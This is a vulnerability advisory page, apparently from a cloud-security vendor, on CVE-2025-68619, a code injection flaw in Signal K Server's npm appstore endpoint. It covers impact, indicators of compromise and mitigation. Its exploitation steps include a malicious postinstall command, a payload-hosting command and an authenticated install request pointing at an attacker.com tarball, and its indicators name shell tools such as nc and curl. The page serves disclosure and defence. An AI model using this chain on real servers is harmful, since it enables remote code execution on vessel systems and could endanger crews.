CVE-2025-68619: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2025-68619 is a code injection vulnerability in Signal K Server, a marine vessel hub application, that allows administrators to achieve remote code execution via malicious npm package installation. Versions prior to 2.19.0 (including beta releases 2.19.0-beta1 through 2.19.0-beta4) are affected. The vulnerability was published on January 1, 2026, with a patch released the same day in version 2.19.0. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 7.3 (High) (Github Advisory, SignalK Advisory).

Technical details

The root cause is improper input sanitization (CWE-94) in the appstore REST API endpoint (src/interfaces/appstore.js, lines 46–76), which accepts a version URL parameter and passes it directly to npm without validation. While the endpoint verifies that the package name exists in the npm registry as a known plugin or webapp, it does not restrict the version parameter to semver format. npm's flexible version specifier syntax supports git repository URLs (git+https://), GitHub shorthand (user/repo), npm aliases (npm:package@version), and HTTP/HTTPS tarball URLs — all of which can point to attacker-controlled sources. When npm installs such a package, it automatically executes any postinstall script defined in package.json, resulting in arbitrary code execution with the privileges of the Signal K Server process (SignalK Advisory, Github Advisory).

Impact

Successful exploitation grants an attacker full code execution on the Signal K Server host with the process's privileges, enabling data theft, backdoor installation, lateral movement, and denial of service. Because Signal K Server acts as the central hub for marine vessel systems, a compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, potentially manipulating autopilot systems, spoofing AIS messages, altering GPS position data, injecting false depth sounder readings, or sending shutdown commands to electronically controlled engines. Many vessels expose Signal K to the internet for remote monitoring, significantly broadening the attack surface and creating potential physical safety risks to the vessel and crew (SignalK Advisory).

Exploitability

A proof-of-concept exploit (Python script using the tarball delivery method) is publicly available in the GitHub security advisory, demonstrating the full attack chain. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.05% (0.00111), placing it in the 16th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires admin-level credentials, which limits the attack surface but does not eliminate risk given the advisory's mention of potential authentication bypass chains (Github Advisory, SignalK Advisory).

Exploitation steps

  1. Obtain Admin Credentials: Acquire Signal K Server administrator credentials through credential theft, brute force, or an authentication bypass chain targeting the server's login interface.
  2. Prepare Malicious Package: Create a malicious npm package with two files — a package.json containing a postinstall script (e.g., node -e "require('child_process').exec('id > /tmp/pwned')") and a minimal index.js plugin stub.
  3. Host the Payload: Serve the malicious package as a .tgz tarball from an attacker-controlled HTTP server (e.g., python3 -m http.server 9999), or host it on a git server or GitHub repository.
  4. Trigger Installation via REST API: Send an authenticated POST request to the appstore install endpoint with the tarball URL as the version parameter:
POST /skServer/appstore/install/signalk-pushover-plugin/http%3A%2F%2Fattacker.com%3A9999%2Fpkg.tgz HTTP/1.1
Host: <target>:3000
Authorization: Bearer <admin_token>
Content-Length: 0
  1. Postinstall Script Executes: npm fetches the tarball, extracts it, and automatically runs the postinstall script with the privileges of the Signal K Server process, achieving arbitrary code execution.
  2. Establish Persistence: Use the code execution to install a backdoor, create a reverse shell, or inject malicious data into connected marine systems via NMEA 2000/0183 interfaces (SignalK Advisory, Github Advisory).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS connections from the Signal K Server process to unexpected external hosts during package installation; incoming POST requests to /skServer/appstore/install/<name>/<version> where the version field contains http://, https://, git+, github:, or npm: prefixes; unexpected outbound connections to attacker-controlled IPs or domains.
  • Logs: Signal K Server access logs showing POST requests to the appstore install endpoint with URL-encoded version parameters (e.g., %3A%2F%2F, git%2B, attacker); npm install output logs referencing non-registry sources or unexpected package names.
  • File System: Unexpected new directories or files under the Signal K Server node_modules directory corresponding to unknown packages; presence of web shells, reverse shell scripts, or cron jobs created by the Signal K process user; files such as /tmp/pwned or similar artifacts from PoC payloads.
  • Process: Unusual child processes spawned by the Signal K Server Node.js process (e.g., bash, sh, curl, wget, nc, python) visible via ps or process monitoring tools; unexpected network listeners opened by child processes of the Signal K Server (SignalK Advisory).

Mitigation and workarounds

Upgrade Signal K Server to version 2.19.0 or later, which contains the security fix; beta versions (2.19.0-beta1 through 2.19.0-beta4) remain vulnerable and should not be used. As interim mitigations, restrict admin access to the appstore interface to trusted users only, and consider using npm's --ignore-scripts flag to prevent automatic postinstall script execution. Network-level controls should be applied to limit outbound connections from the Signal K Server to only the official npm registry. Review audit logs for any suspicious package installations via the REST API endpoint, and implement an allowlist of approved packages where possible (SignalK Advisory, v2.19.0 Release).

Community reactions

The Signal K maintainer (tkurki/Teppo Kurki) published the advisory on January 1, 2026, and the v2.19.0 release notes explicitly flagged the update as containing "important security fixes," urging users with internet-exposed servers to update immediately. The advisory was credited to researcher atsc11, who provided a detailed write-up including multiple exploitation methods and a working Python PoC. The vulnerability was picked up by several security aggregators including Tenable, Red Hat, INCIBE, and CCN-CERT shortly after disclosure (v2.19.0 Release, SignalK Advisory).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management